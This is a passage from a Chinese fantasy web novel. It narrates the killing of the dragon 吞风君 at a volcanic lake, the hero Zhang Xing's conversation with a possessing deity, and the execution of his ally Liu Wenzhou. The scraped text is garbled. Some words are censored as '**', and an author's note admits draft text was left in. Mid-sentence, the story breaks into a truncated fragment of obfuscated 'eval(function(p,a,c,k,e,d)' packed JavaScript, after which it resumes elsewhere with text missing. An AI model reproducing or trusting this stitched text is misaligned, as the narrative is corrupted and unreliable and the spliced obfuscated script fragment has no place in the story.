“刚刚那一击前,可以流七八日。”孙思远正色道。“现在能流三五日……再挖下去,晚上之前挖到龙骨,刺入肺腑,便是几个时辰了。” 张行面色不变,只将自己观察的情势告知对方。 孙思远立即明白了对方的意思:“你是担心祂有诈?” “必然有诈。”张行答复确切。“而无论是什么手段,祂都要先解开这冰湖……孙院长、牛公,你们二人能在冰湖翻覆时护住大家吗?” “老夫自当尽力而为。”孙思远认真道。“但若是晓得祂必然有诈,为何不把大家都收回来稍作休整呢?必要时再化为凤,只要稍作振翅,便可轻易脱身。” “自然是因为我们是来黜龙的,不是戏龙的。”张行失笑道。“孙院长,你这一问我现在反而想明白了……真龙之所以为真龙,便是体气并存,灵肉相合,祂现在的困境并非是假的,再这么挖下去,必死无疑,而之所以不动,是因为刘文周的十年之功不是虚妄,我们也的确偷袭成功,祂可能只有少数,甚至一次机会,一旦不能脱困时击破我们,继续对峙下去,还是要死无葬身之地的。” “那我们不还是该收回来最稳妥吗?”牛河在旁似乎没转过弯来。 “得先挖个足够大的洞,让祂天黑前就死,才能收回来。”张行给出答复,然后转身押着弯刀离开。 既转过身来,张行下达命令,一则让雄伯南去联络白有思在内的所有人,确保必要时极速归位,二则是督促众人,继续在这位吞风君背上挖洞,要把之前打出来的洞全部连成一片,好好让吞风君放放血。 命令下完,张行如释重负,甚至有些不合时宜的神清气爽起来。 其实这就像打仗一样,一旦窥破了对方的意图,安排好了方案……即便不是什么周详的方案,甚至可能只是你要如此我偏不如此的方略,都会给人以巨大的信心。而一旦有了思路和信心,方案本身也会周详起来。 张行也是这般,他在一炷香后,立即意识到,自己还有最后一个重要事端需要安排,那就是尽可能的寻找更多的终结手段。 之前的计划中,威凤化形现在已经很艰难了;**车因为下雪耽搁了,目前还在路上;大宗师和几位宗师中的两位被拴在了大阵上…… “刘公。”张行喊住了兴奋中的刘文周,指向了对方腰中的瓶瓶罐罐。“刚才那一罐子是怎么回事?” “是黑水之精……”刘文周笑道。“收寒冰之精时顺便收的,没敢收太多,怕惹来山下那个大司命。你不晓得……” “我晓得。”张行打断对方提醒道。“现在你把能对真龙有伤害的,全都挂在腰带上,然后不要再用,只必要时交给特定的人,或者自己寻到最好机会,再做关键一击。” 刘文周一愣,随即凛然。 张行尽可能的寻到这冰湖上最后一个黜龙的手段,便再无牵挂,干脆学着大阵中的孙思远,直接坐在了一个血红色的冰坨子上(血肉化开冰面又凝结),横着弯刀在膝上,做起了一个挖洞的监工。 这其实并不荒诞。 因为战斗从来都是这样,近十年时间里,张行已经指挥了很多战斗,而这些战斗只分两种模式,一种是亲自拎刀子上的突击运动战,另一种就是坐在军中不动的阵地战。 现在就是阵地战。 黜龙军在争先恐后的去扩大真龙的伤口,就好像战阵中发现了对方阵列上的一个小缺口,然后尝试攻入、扩大一般;而吞风君看似被动的隐忍,更可能是因为背后有一支别动队已经就绪,只是犹豫于何时发动,才会起到最好效果。 下午时分,战阵的消耗中,别动队出现了。 但却是黜龙军的别动队——贾越带着十二驾**车出现在了冰湖边缘,并直接往冰湖中驶来,明显是想要靠近攻击。 对此,张行下令,只让推三辆**车过来——不是因为他晓得吞风君还有后手,冰湖很可能会崩裂,所以担心**车部队里的凡人,而是说,冰湖一旦崩解,根本无法立足,需要**车在岸边继续攻击。 三辆**车被推来,抵进到了伤口,甚至可以说,进入到伤口。 张行犹豫了一下,终于从几乎有些粘屁股的血红冰坨子上起身,亲自走过去,学着贾越,扶住了一辆**车,而第三辆**车则是秦宝负责。 放松呼吸,绽放真气,与后方大阵相连,在明确感觉到此间九百人的真气海呼吸后,张行将**车瞄准到了他所感觉到的距离那最核心一大团真气最近的一个方位。 迟疑了一下,张行回头下达命令:“其余人都退后,不然再溅到精血也要麻烦!” 身后众人纷纷后走,而还没有撤到被真气海覆盖的方位时,真气海的又一次鼓动已经来到跟前,张行毫不犹豫,闭目,扳动机扩,只是临到跟前,又从断江真气转回到了寒冰真气。 其余二人也几乎是同时发射。 三支巨矢,本有手臂粗细,此时被裹住真气,更是粗了一圈,一支黑色,一支电光跳跃,一支裹满白霜,直直朝着吞风君体内而去。 三矢齐发,没入真龙体内,却没有什么激烈反应,甚至没有之前那般精血喷溅。 “肉太厚了?”秦宝有些无语。“没入的太狠,反而没有效果?” 贾越也要再说些什么。 孰料,张行 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但也就是此时,远超所有人想象的震动发生了……整个冰湖自下而上,剧烈的抖动下开始破碎,整个冰湖似乎都碎成了粉末,地面无一处可立足,中间吞风君所在的周边更是水汽蒸腾,开始融化。 白有思飞身而来,但吞风君忽然从冰下扬起另一支翅膀,翅膀之上宛若涂了一层浓厚的油脂一般,黄中带亮,凌空遮蔽住了之前一直在祂头顶肆虐的凡人。 来不及等待了,几乎在同时,已经破碎的冰湖从吞风君所在的位置开始,向外翻腾起来。 黜龙军所立之阵堪称首当其冲。 可是,此时白有思被吞风君半是预谋半是临门一脚般的阻碍,自然无法显化威凤,阵中诸人自然也一时惊惶。 实际上,来的时候黜龙军是做过细致情报工作的,比如孙思远这位大宗师观想的是火盆,雄伯南观想的是大旗,牛河观想的是绳索,刘文周观想的是容器,魏文达被人唤作魏大刀。 这个时候,这些玩意哪个能带着大家飞起来逃离破碎的冰湖? 孙思远迟疑了一下,然后他立即临时接管了大阵,尝试强行抬起转移众人,而就在他努力将众人抬到空中十来丈的时候,作为阵底的他忽然察觉到有人在显化,而且一瞬间便意识到是谁在如此做了。 是张行! 作为黜龙帮的首席,踏白骑真正的核心,他在阵中本能起了庇护与腾起之意,瞬间就得到了所有人的呼应,真气疯狂涌向他,又顺着他的心意转化出来,覆盖了整个大阵,继而大阵发生变化,形状扭曲重组起来。 冰湖畔,**车阵地旁,早已经因为突变而呆住的许敬祖根本不需要转化表情,只是呆呆的望着这一幕。 他看到吞风君终于一怒,如张首席之前提醒的那般发出通天彻地的威力,搅碎了整个冰湖,自己也得以脱困,而震颤与模糊之中,黜龙军原本趴窝的离火大阵忽然变得寒气逼人,变得辉光熠熠,然后又如一只蠕动的鼻涕怪一般立起身来。 没错,一只巨大的、辉光熠熠的鼻涕怪。 只是为什么不是灰白色的寒冰,而是辉光? 下一刻,就在吞风君几乎要摆脱冰湖束缚,腾身反扑身侧的鼻涕怪时,忽然间,那个鼻涕怪当空伸出了一只巨大的金色五趾鹰爪,并狠狠地按在了吞风君那只残破的翅膀根部。 吞风君一个趔趄,下半身尚未完全滑出,便被这支鹰足给按倒在已经破碎的湖面上,半个身子陷了下去,再挣扎抬头时,复又一声哀鸣,竟有一丝恐惧之态。 这还不算,鼻涕怪继续变形,伸出其余三只五趾鹰足,各自按住对方不放,同时身躯拉长,显露鳞甲。 许敬祖也好,阵中能感应到大阵变化的人也好,都是一个念头,那就是张首席要带着大家显化出一条金辉色的,青帝爷那般的真龙,然后与吞风君搏斗。 事情似乎也真是往这个方向来的。 鹿角、牛鼻、鹰爪、鱼鳞、蛇身……然后突然就展开了双翼! 接着是虎足,是鱼尾,是腹下绒毛,是背上峥嵘。 好像,好像是四御座下真龙混交一般。 但是不要紧,有用就行。 鹰爪牢牢锁住吞风君,双翼展开,竟将对方死死压住在湖面下方,而吞风君则是拼了命的一般在挣扎,整个一天的活力都没有这一刻多。 只是阵中不少人有些惊惶,因为他们晓得阵中奇经们已经经脉酸麻了,不管你张行显化的东西多厉害,可根本撑不了多久了,为什么不转移到陆地从长计议?为什么要在这里,在破碎的冰湖上与对方缠斗? 而下一刻,所有人就都知道张行为什么要这么做了,甚至有人觉得他已经知道张首席要用辉光而非最擅长的寒冰真气来做显化了。 天池中心,一股热流自下而上,磅礴不可阻挡,所过之处,冰雪融化,寒气顿消,直直的打到了吞风君的背部,竟然让真龙疼痛明显。 这还不算,又一股热流喷出,在半空中喷到了空中辉光真龙的翅膀,惊的后者当场收缩……实际上,阵中当场便有数名好手死亡,落入冰火两重天的天池中……张行心惊之余也几乎要放弃这里。 不过,就是这一思考,更多的热流自下方喷射出来,密集的打在了吞风君的后背上,背上那些被黜龙军所开的洞,无论大小,全都被喷入了热流,然后瞬间变熟。 剧烈欲死的疼痛和诡异的肉香,无不提醒着吞风君,再不起来,必死无疑。 可是,祂背身朝下,当面被压住,便是挣扎起来,弄得满湖都是真气,也居然难以脱身。 “走!” 察觉到什么的张行忽然间主动放弃了大好局面,一声不知道对谁喊的话之后,辉光真龙忽然松开所有鹰爪,努力振动双翼,向着湖畔滑去。 而这只人造的真龙刚一离开,吞风君也努力挣扎起来,试图腾空而走,可是刚一腾起,尚未发力,下方一股难以描述的炽热液体便从满是水汽的湖中喷射出来,打在了祂的腹部、翅膀、 腹部当场皮**销毁,直入肉中,翅膀则被洞穿……不是一处洞穿,是密集的细小洞穿……洞穿之后,吞风君登时便无力坠落,却没有砸入水中,反而一直在水面哀嚎嘶吼,并且不停地翻滚与颤抖。 没错,天池的火山,那个直通地脉,被吞风君觊觎、占有了数千年,以至于火脉中全是密集真气的火山,喷发了。 地脉直扑地表,被寒冰之精控制的天池整个被融化,真龙被击穿。 人造的辉光真龙也挨了一下,几乎要跌落天池边缘的水面……关键时刻,白有思穿过无数冰火汽,加入到了阵中,协助张行抬了一下翅膀,使得这只真龙砸落在了天池边缘那黑漆漆的碎石滩上。 就是这么一砸,就有近百人身死,其余几乎人人带伤。 数里之外,许敬祖立在那里,将目光从那边转回,然后依旧纹丝不动……不是他多么大胆,而是他根本不敢动。 这等冰火天威,真龙生死,真要波及,你跑几步就有用了? 山下的神仙洞里,大司命一个人孤零零坐着,不时摩挲着手里的罗盘……其余人全都出去看火山了……不知道过了多久,他忽然叹了口气,望向了石壁上那“天地人”三字,幽幽以对:“时候到了?” 竟然是一句问话。 天色将黑,火山喷发还是没有停止,但是昔日天池中央,已经一根**都不剩的吞风君以一种怪异的姿态躺在那里,身下身侧到处都是凝固状的黑曜石,几乎形成了一个湖心岛,而下方火山喷发至此,却是早早被阻拦,不能再对祂有影响了。 然而,外侧岸边,几乎所有人都能清晰的看到,那位半熟姿势的吞风君居然还在呼吸。 没办法,这就是真龙。 张行晓得时候到了,他站起身来,双腿一直在打颤,一百多具尸体就摆在前面,其余人人带伤,几乎全都瘫在地上,此时见到自家首席起身,虽然人人无言,却是人人期待,便是正在包扎伤员的大宗师都停了下来,看将过来。 张行莫名会意,也不知道对谁点点头:“除了白总管,谁跟我去?” “我要去!”刘文周第一个跳出来,他腰间的瓶瓶罐罐早已经稀碎,只剩下零星几个。 “我也去。”雄伯南意识到什么,也勉力起身。“我还能动。” 贾越、秦宝也想起身,却没有撑住,直接坐倒,尉迟融更是躺在了那里。 “那就这些吧!”张行再度点点头。“剩下的人,你们且观之。” 白有思会意,真气裹住张行与刘文周,腾空而起,雄伯南随后,直奔湖心吞风君所化小岛而去。 来到此处,众人落下,也没有寻心脏,而是直奔龙首所在……此时的吞风君满身满脸都是黑色烧伤、烫伤,但仅存的一只眼睛却还没有闭上,甚至偶尔转动。 张行四人来到此处,也不晓得吞风君还能不能看到……但无所谓了,张行摸到了对方那已经动的眼睑,直接坐了下来,然后将金锥取出,递给白有思:“要不要这个?还是用你的倚天剑?” 压着长剑的白有思缓缓摇头。 张行便催促:“那就动手吧。” “你来!”白有思反手将长剑递了过来。“你是黜龙帮首席,这是黜龙帮所黜之龙!我助你真气便是!” “说错了,你是点选,黑帝爷点选,只有你动手,才有真气馈我们!”刘文周也有气无力喊了一声。 张行点点头,也不知道是赞同谁,也没有接长剑,而是坐在原地,转过身来,白有思也上前蹲下,按住了对方背心。 随即,张行没有任何犹豫,直接将金锥直接刺入对方的眼球……金锥太小,似乎并没有为已经这个样子的吞风君提供些许疼痛和生命流失。 不过不要紧,下一刻,张行运转丹田,真气从白有思手掌中传入,化为寒冰真气,然后顺着金锥涌入对方眼球,又顺着眼球后的一条脉络直奔对方大脑。 接下来,只是一搅,吞风君原本就很大的瞳孔瞬间张满了整个眼球。 张行几人,好像坐在一个冷凄凄的墨潭边上一般。 ps:抱歉,本章在复制到发布页面时忘了把草稿删除干净了,再次向读者老爷们致歉。 第七十一章 **行(14) 起先,并没有太多动静。 只是吞风君的瞳孔放大,整个眼珠变成一个黑漆漆的石潭,张行坐在岸边,依旧全身酸软。 然后,小山一般的湖心岛中心渐渐没了起伏,周围的水汽与热浪依旧翻滚,唯独这里到底是天池,雪线以上的地方,偶尔周遭风气袭来,依旧是那种刺骨之寒。 接着,远端夕阳进一步贴近地面,使得整个天池映照成了某种暗淡中偶尔闪过斑斓的特殊情境,似乎一切都在这里被熔固成一体。 但忽然间,一切都改变了。 好像是风,好像是雪,又或者是霜,又似乎是雾,可在这隆冬时节的北地,在这最高峰的天池畔,风却暖如胭脂,雪竟亮同财帛,霜则软若花草,雾更坚愈钢铁。 然后是狂风暴雪,是霜雾满天,是波涛汹涌,是三辉合一,是花开花落,是金戈铁马,是一切的一切。 再然后,居然又似乎什么都没有了。 下方神仙洞外的石头城内,徐世英、马围、陆夫人、黑延,以及许多荡魔卫的精英们都立在那小黑帝观前,怔怔望着天空,彼处有七彩之光华冲天而起,又有云雾自四面汇集,俄而,一股浩荡之风自山顶落下,将云雪尽皆冲散,几有天倾之势,在场中修为高深者皆有些骇然,因为他们察觉到那风居然尽是真气翻滚。 不过,那股浩荡之气卷下山峰的时候,却并没有一泄到底,只在山腰处便猛地散开,然后顺着大兴山朝着整个北地,乃至于天下席卷而去。 但即便如此,徐世英和马围还是察觉到了明显的真气涌来,感觉到自己身体的充盈,继而忍不住相视大笑。 另一边,气浪翻腾,越过大兴山,铺陈北地,继而翻越山海,直趋天下。 北地与河北之地,数不清的黜龙帮官吏军士都在生产生活之中,绝大部分人只觉有风拂过,并无多余反应,少数修为高深者也只是觉得风来的有些暖。 直到邺城行宫,傍晚时分,忽然间北面风起,卷动了行宫内所有的旗帜、绳索、植木,便是门窗也都摇晃。 经历过一次济阴郡府腹心之灾的黜龙帮众人自然知道这不是什么寻常动静,加上张行走前给的时间是卡在过年动手,他们只能猜度这是黜龙的预兆,却又连是吉是凶都不晓得。 过了大河,夕阳下,正北邙山麓刑场上勾决犯人的司马正抬了下头,然后低头去看卷宗,复又抬了下头,然后猛地恍然,却只是意味莫名的笑了一笑,似是苦笑,又似是释然。 长安城北门,白横秋正在不拘礼仪于下午时分来做郊迎,对象是得胜归来的韦胜机,周围的大英臣子们依旧将注意力放在了二人之间的互动上……长久以来,二人名为君臣,但相处之时总是逾矩,而大英全取昔日西魏根基,风气、军制一如既往,便是对历史也有了理所当然的继承……他们很想知道,这二人什么时候会翻脸,或者说韦胜机什么时候要为自己的逾钜付出代价?而白横秋会在这之前优容对方到什么地步? 然而,众目睽睽之下,二人还没来得及有什么交流,便齐齐愣住,一起去看北方。 不过,二人到底是大宗师与准大宗师的底子,相顾失态便已经是极致了,不能指望他们有更多反应。 可与此同时,就在长安西南面不远处的太白峰上,二人共同的好友、三一正教的掌教,据说是在世第一大宗师的冲和道长,却是大惊失色,手足无措……以至于手中那几根用了一辈子的木棍当场撒落在地。 然而,当他低头去看时却又满脸的疑惑不解。 除去这几位,这天下其实不乏察觉到异样之高手,但是他们却并不晓得具体情势,只能感慨,这天下大乱终于到了这个份上了,却不知是真龙陨落,还是天地崩塌? 而且然后呢? 是就此反弹,天下激烈之势渐缓,还是日加肆意,将大争之世贯彻到底?而自己与自己所在的势力又要面对什么? 不免让人神思。 天风横野,三辉交错,夕阳落下之前,双月已经显现,日月三辉隔空相对,其光汇集在了大兴山天池之畔。 此时此刻,张行依旧坐在那真龙的眼睑上,却神游于天……不是那种遐思,而是真真切切的神游天外。 且说,就在刚刚,随着真龙的死亡,其积攒了数千年的真气喷薄而出,却又层次分明的涌入到了黜龙队伍中,张三首当其冲。 一开始,他还有疑惑,因为他在第一时间模糊的感知到了吞风君死前的许多情绪……愤怒、恐惧、悲哀、贪婪、不甘……但并没有多少预想中的老谋深算,也没有什么苦大仇深,更没有什么责任、义务、天意、人心,就是简单的、发自于本能的情绪与欲望。 难道这就是这位横霸北地数千年真龙的底色? 不过,仅仅是片刻之后,张行就明白过来,吞风君正该如此! 或者说,在这一刻,这名穿越者终于无师自通的明白了很多很多事情……比如说,自青帝传道开始,近万年中,那些四御与特定真龙之外的神仙真龙都在做什么了?为什么他们鲜有踪迹?为什么只有四御作为代表在努力活跃? 无他,与想象中限制过度的原因相反,这方天地过于大度与慷慨了。 张行受得真龙真气不过一两分,一时周遭内外俱为真气,便直接神游天外如临虚空,但这个天外与虚空却并不冰冷与憋闷,在这里,他好像,好像回到了母亲的羊水一般,那是一种完全难以描述的安逸与畅快。 在这里,他没有了哀伤,没有了失落,没有了迷茫,甚至没有了愤怒! 他只感觉到了满足、欣喜与温暖,乃至于振奋、迷醉、清爽。 不仅仅是低阶的身体放松与愉悦,还有精神上的舒张,甚至他能同时感觉到根基对立却能让人愉悦的不同情绪,而感受到这一切后,自然是无欲无求! 极乐中无欲无求……或许叫做逍遥? 只能说,怪不得吞风君一日日窝在这冰湖下面的地脉之上少有动弹,怪不得祂一旦身死这般不甘,怪不得那些过往英豪虽有化龙成仙的传说却往往消失不见。 因为一旦来到这个阶位,就实在是太满足了,而一旦失去这些,自然会那般反应。 若是这片天地真是一个可以拟人化的存在,那祂对自己这方世界的里的一切,都未免过于宠溺了。 只要到了这个地步,就让其往生极乐逍遥,永不堕凡尘。 可是,可是为什么四御还要掺和凡间事呢?祂们得到的应该更多才对! 当然是因为祂们有欲望,有不甘,战胜了这种沉醉感。 这个时候,张行拼尽全力睁开了眼睛。 因为他也担心,自己曾经的愤怒会变得无足轻重,自己的不甘会烟消云散,自己的卑鄙与荣光都会就此不见。 张行舍不得自己身上这些腌臜东西。 往周边去看,白有思似乎也没有回过神来,雄伯南和刘文周同样没有回过神,但后二者跟前者明显不是一个状态……张行可以肯定,白有思是到了自己刚刚那个状态……也就是只要本人愿意,就可以永久沉溺进去;而后二者应该只是临时的这种感觉,很快会退出来。 而就在张行思索要不要先叫醒白有思的时候,他忽然看到了一个人。 一个理论上算是熟人,而且是出现在此处毫无违和感的熟人,此时正立在吞风君僵硬的额头上观望夕阳与云雾。 张行没有迟疑,直接起身……身体很轻盈,之前的伤势似乎一扫而空,步伐也很轻快,中间虽然崎岖,却也如履平地……几乎是眨眼之间,他便来到了对方身后。 然后,他用了个特殊的称呼:“阁下什么时候到的?” 对方没有转身,但毫无疑问是大司命的身体,而且一开口依旧还是殷天奇的嗓音:“那厮一死我便到了,但也是刚刚到,你在其中沉醉,看似经历许久,其实不过是瞬息而已。” 张行点点头,强行压制对方怪异用词引发的不适:“原来如此。” “机会难得,你有什么要问的吗?”那人回过头来,果然是殷天奇的容貌,但眉毛扬起的角度却比以往高太多,脸也有些紧绷。 “有。”张行晓得遇到了真神,不敢怠慢。“这吞风君倒也罢了,可这火山又如何处置?” “我来就是处置此事,而且已经处置好了,午夜的时候,此间就会沉没,天池恢复如初。”那人语调平和。“你总不会以为我难得过来只是为了看眼祂的尸首,痛快一下吧?” 那倒未必。 张行腹诽心谤,同时点头:“那就好,小子还有一些疑问。” “说来。” “那些神仙真龙沉溺天地元气的有多少,这么做有什么后果,算不算误入歧途?”张行赶紧将自己新得的感受与反思摆了出来。 “九成九都沉溺其中,愿意出来的少之又少……便是吞风君都不能算其中,因为祂时常能想起我来,生怕我派人过来黜了祂,便往山上飞两圈,观察一下形势……后果嘛,无外乎就是成了天上的星星,悬浮于世,不休不灭。”那人挨个回答,干脆利索。“至于说算不算误入歧途,我觉得是不算的,因为谁也不能说这么干有什么害处,于祂们自己来说是享尽天地钟恩,且真想出来也不耽误事;于这天地,自是天地宇宙恩赏下来,可谁也不晓得天地宇宙有多大,怎么想怎么错,干脆不要计较这一件……至于说于这世间如何?” 话到这里,此人居然冷笑:“你想想,祂们便是出来了,于这个世间又有什么助益呢?尤其是近千年来,人间豪杰都有共识,自是厌烦于我等的干涉。” “不错,不错。”张行连连点头,却又显得不安。“那我又跳出来是因为什么?是福是祸?白三娘现在又如何?” “你这么快跳出来,自然是你自己有定力……也确实比我想的要利索一些。”那人竟也有些迟疑之态。“刚刚都说了,这事不能说好也不能说坏,不过你既然到了这个地步,不入其中自然对此方天地人间都更好一些……实际上,若你不出来,我是要喊一下你的。” “人间我懂。”张行忽然不顾礼仪抢话。“人间我还有功业,可天地呢?只是因为人间功业有益于天地吗?” “当然不仅如此。”那人叹了口气道。“人间功业当然有益于天地,但天地本身也有说法……我是说,你的身份许不是什么秘密,我晓得,许多‘人’都晓得,因为那厮不止弄了一个你过来,只是之前全都败了而已……倒是你,委实没想到能走到这一步,现在来看,说不得真能成了。” “之前不能成,又是因为什么?” “什么都有……但最主要的是两条,一个是没有身份,没法尽快寻到生存之道,另一个是祂的法子总要真气牵引和将死之人,换句话说,只要过来,便会撞到大场面,而且会托生在大场面下的**身上,便是勉强活下来也吓得不敢动弹了……你不就是一来撞到分山君与避海君吗?” “原来如此,我也吓得不轻,若是遇到太平盛世,怕是一辈子在东都当差了……所以,我能至此,算是托阁下福运了?”张行恍然一时。 “称不上托谁的福运,你以为你之为你,皆是你自己辛苦砥砺也好,算是西面的手段也罢,甚至是更大能的棋子也无所谓,因为你终究还是我的点选。”那人面色如常。“还替我黜了此孽障……而你的事业,无论怎么说,都是黜龙帮承荡魔卫之基业,发扬北地、河北之风俗,将来还要以人族为主完成天下一统……我夫复何求呢?” “确实,不管是阁下还是西面那位,我都算是承志绍业。”张行干笑了一下。“甚至更宽泛一些,算上东面和南面的也说不定……毕竟,人世间的功业有哪些不是继承四位的志向呢?” 那人点点头,不置可否,只看向白有思:“她若是不醒,我也会叫醒她……不然南面的疯子会找麻烦。” 张行同样不置可否点点头。 “还有问题吗?”那人继续提醒。 张行想了一想,决定追问下去:“阁下的想法我已经很清楚了,咱们不谋而合,承志绍业,可是西面那位用心操作了这些,把我弄了过来,有没有别的、特定的想法?” “这事你自然得亲自去问祂。”此人语气重新淡漠起来。“但大约可以猜度,祂是想借你联通两个世界……这也与你不谋而合吧?” 张行点点头,不管眼前这位有没有挑拨的意思,可白帝爷把自己拉过来又指望着自己走回去替祂开通道路,怎么都是亏欠着自己的。 不过,这不耽误他继续来问:“那敢问要怎么才能打通两个世界呢?” 对方没有直接回答,而是把腰中一个物件取下来,递了过来:“你的东西,确实有独到门道。” 张行将罗盘接了过来……他看的清楚,那玩意之前指针直直指向自己,结果自己一接手指针便耷拉到一边去了,也是心下一笑。 那人明显也注意到这一幕,或许是为了缓解尴尬,便指着这罗盘继续讲解:“等你的修为实打实的到了份上,以此为引,自然可以找到路……你一路上不都是这么来的吗?” 张行点点头,立即想到另外一个问题:“敢问阁下,我的修为到底是怎么回事,为何迟迟不能观想?刚刚显化的辉光金龙又是怎么回事?如何轻易便显化出来?” 那人表情怪异起来:“你的修为没有任何问题,只是你的观想对象有些罕见,以至于你一直到今日下午破了宗师境地都没有察觉而已……” “我观想的什么?”张行莫名其妙。“我如何都不晓得?” “日思所念,便是观想。”那人幽幽以对。“你是不是一心一念要做至尊?” 张行目瞪口呆,却又心下恍然。 是了,自己长久以来观想的对象,恰恰就是至尊……至尊不仅仅是一个结果,同样也是客观存在的多个个体,不然自己面前的是什么?而且,这其中的四位都有祂们自己的行为方式和历史路径,自己刚刚不还说自己是继志绍业吗? 而且,自己非但不知不觉间就以至尊为对象进行了观想,还早就在人世功业中做了实践,有了足够磨砺,所以今日下午被逼到份上后才突破了宗师,显化了出来……又或者是显化了出来,所以算是突破了宗师。 只是那条辉光金龙…… “只是不晓得你心里是怎么想的,难道觉得有了黑白青赤,下一个就该是黄色?还是说觉得三辉无识,你可以代而为之,所以整出了辉光?”此人微微蹙眉。“而且为何一定是龙?须知道,我等四位中,只有东面的是条龙,其余可不是这般姿态。” 张行连连点头,这就是属于自己的妄想认知了。 但问题在于,自己既然已经显化出来了,并且以此成功黜龙,那妄想难道还是妄想吗? 实际上,这应该恰恰就是天地元气,是真气的根本作用,也是最玄妙的作用,万事万物都可以在这里被转化,主观可以变为客观……否则,如何能让那些神仙真龙沉醉其中? 迟疑了一下,张行继续来问:“敢问阁下,你之前说修为到了一定份上便可寻路,是不是说一定要成至尊才行?越过大宗师往上那个境地我刚刚已经知道是怎么回事了,可到底什么才算成至尊?” “至尊这个东西没你想的那般玄妙严整,就像你们凡人开会一般,能到会场说话举手的便是大头领、头领。”面前的人指了指东面已经出现的一丝弦月。“能亲身到红月上的,现在只有四位……你有朝一日去了,说自己是至尊便是至尊,说不是也没人管你。” 张行恍然……草台班子嘛,哪哪还不是个草台班子?但只要能做事情,草台班子也是历史推动者,四御搭建的草台班子就更不用说了。 其人连连颔首,再度来问:“还有一事,刘文周收红山精血、断北地冰流,阁下知道吗?” “知道。” “……” “几千年了,什么都看开了……生死荣辱,凡人自为,与我何干?”那人有些不自然的负手喟然道。“就好像那红山,说是与我有关,可也不过是我几千载性命中的一件事而已,相较而言,倒是凡人一生碌碌几十年,常有人生于红山死于红山,所以,红山到底属谁,恐怕不是这么好计较的……又不像是这大兴山,只一条龙霸占,恩怨逃不出彼此。” 这话说的诚恳,也显出来至尊的器量来,张行对这个回答也足够满意,便再三点头,然后准备继续问下去。 孰料,就在这时,对方抬手一指,指向了张行身后:“你妻醒了。” 回头去看,正见白有思怅然若失,四面来看,双方目光交汇,张行点了下头,再回头来看这位“阁下”,却见对方神态早已不同,乃是摆着眉毛含笑来看。 张行晓得怎么回事,但还是问了一句:“阁下走了?” 殷天奇点点头:“走了……祂老人家性格深沉,不耐烦了。” “感觉如何?”张行关切询问道。“这么干对你身体有没有损害?” “当然是有的。”殷天奇苦笑道。“但没办法呀,祂老人家不来,谁做善后?” 张行点点头,然后竟拍了拍这位大宗师的肩膀,这才转身走了回去。 白有思醒了过来,却还在愣神,见到张行过来,勉强来笑:“你果然舍不得凡世俗业。” 张行自然也来笑:“你又是舍不得什么,这般快就回来了?” “我舍不得你。”白有思言辞诚恳。“不亲眼见到你走通这条路,我是万万不甘心的。” 张行只能继续点头。 这个傍晚,他都不知道点了多少次头了。 夕阳西下,日暮之态很快就要结束,进入冬日夜晚,此时,天池内的喷发已经明显减弱,而终于,雄伯南与刘文周也依次幽幽醒了过来。 雄伯南先醒,然后是刘文周。 暮色中,刘文周站起身来,略显摇晃,好像一名醉酒之人一般,但很快他就恢复了神智……这么说也有些不太准确,因为他马上进入到了另一种癫狂的状态。 “你们也都感觉到了吧?”刘文周的语气一开始并没有多么激动,动作幅度也很小,但很快他就完全伸张了起来,音调与五体一起伸张。“这是什么?!这就是证位后的极乐!天地何其宽厚?!竟有如此极乐!我不光要做大宗师,我还要证位做神仙!做不了神仙也要去成龙!否则人活一生还有什么意思?!” 其人声嘶力竭,手舞足蹈,在吞风君身体凝结的小岛上不要过于显眼,尤其是跟周围三人形成鲜明对比……张行只是看了左右两人一眼,白有思面色如常,雄伯南却还有些脚步虚浮,三人都没有说话。 “张首席!”刘文周似乎想起什么,几步来到跟前,迫切言道。“你不是要做至尊吗?不是要黜龙吗?正好,还有分山君、避海君、呼云君,皆可以黜之,到时候咱们还是这般协作,共分元气!若还是不足,便将这天下几位大宗师一并打杀了,必能成功!还有一些江河,眼瞅着也是有真龙潜藏的,为何不去找一找?” 张行还是没吭声,只是面无表情的歪着头审视了一下对方。 刘文周依旧沉浸在刚刚的兴奋感中,复又单脚转了一圈,越过白有思来看雄伯南:“雄天王,你我修为相仿,你一定也感觉到了吧,那是何等滋味?” 雄伯南没有回答对方问题,而是看了眼张行。 刘文周见状,终于发作:“雄天王,你既晓得那般滋味,如何还要计较凡俗旧事?我不过是当日背出师门而已,我恩师都未发文开革,你却一直对我不假辞色,张首席,你来说……” 话到这里,他又来看张行,这一次正好撞到对方的目光,然后终于心下一惊,再去看其余两人,不由心生寒意,颤抖来问:“你们这是何意?张首席,你是嫌分我的多了,要独吞?” 鬼使神差的,张行点了点头……他隐约意识到,只有这样,对方才会觉得不甘,才会愤怒,而不是带着迷迷糊糊的不理解了结这件事。 刘文周没有直接求饶,而是去摸自己腰间,却立即发觉,自己按照对方要求将瓶瓶罐罐全都挂在一个腰带上,而那腰带已经消失不见了。 再一抬头,发现那腰带赫然出现在张行的后腰上,也是愈发心惊,便来赔笑:“张首席!我晓得你是以帮为重,我在这里确系是个外人,分了你们的份额……这样好了,你之前不是请我入帮?今日我便去做个大头领,咱们便是一家人,也就不必计较其他的了!” 张行摇摇头,神色不变: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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相隔数里的外侧滩上,早就晓得大功已成的黜龙军中气氛正在热烈,忽然闻得此声,各自一惊,却又马上在王叔勇、徐师仁、贾越等人的带领下安静下来,更有数名已经恢复的凝丹在贾越的带领下飞身而去。 接下来,哀嚎嘶吼咒骂声不停,不待贾越等人带来讯息,外围黜龙军上下便已经猜到情形,却是各自凛然之余,继续谈笑晏晏,同时整理死者仪容。 一个时辰后,刘文周的血终于流干,这场几乎算是众目睽睽之下的半**半处刑终于结束,张行割下了他的首级,用那条皮带系好,悬在腰间,便和其余人一起回到了黑石滩上。 也几乎是他们落地的一瞬间,暮色中,原本已经风平浪静的天池忽然再度隆隆作响,然后那座原本以为要成为新奇观的“吞风岛”忽然开始塌陷。 不是那种往水中倾倒的塌陷,而是吞风君的肉体仿佛灰烬化的塌陷,只是剩余的岩浆凝固体破碎沉入而已。 不过即便如此,动静也足够大了。 混乱持续了足足两个时辰,中间有巨浪打来,都被在场高手们轻易阻挡……而即便是午夜之后,天池中心一切归于平静后,也有人忍不住惊呼,自己的龙肉居然无了。 而这一幕,则毫无疑问的表露出了一个事实——到此为止,吞风君大约的确已经灰飞烟灭了! 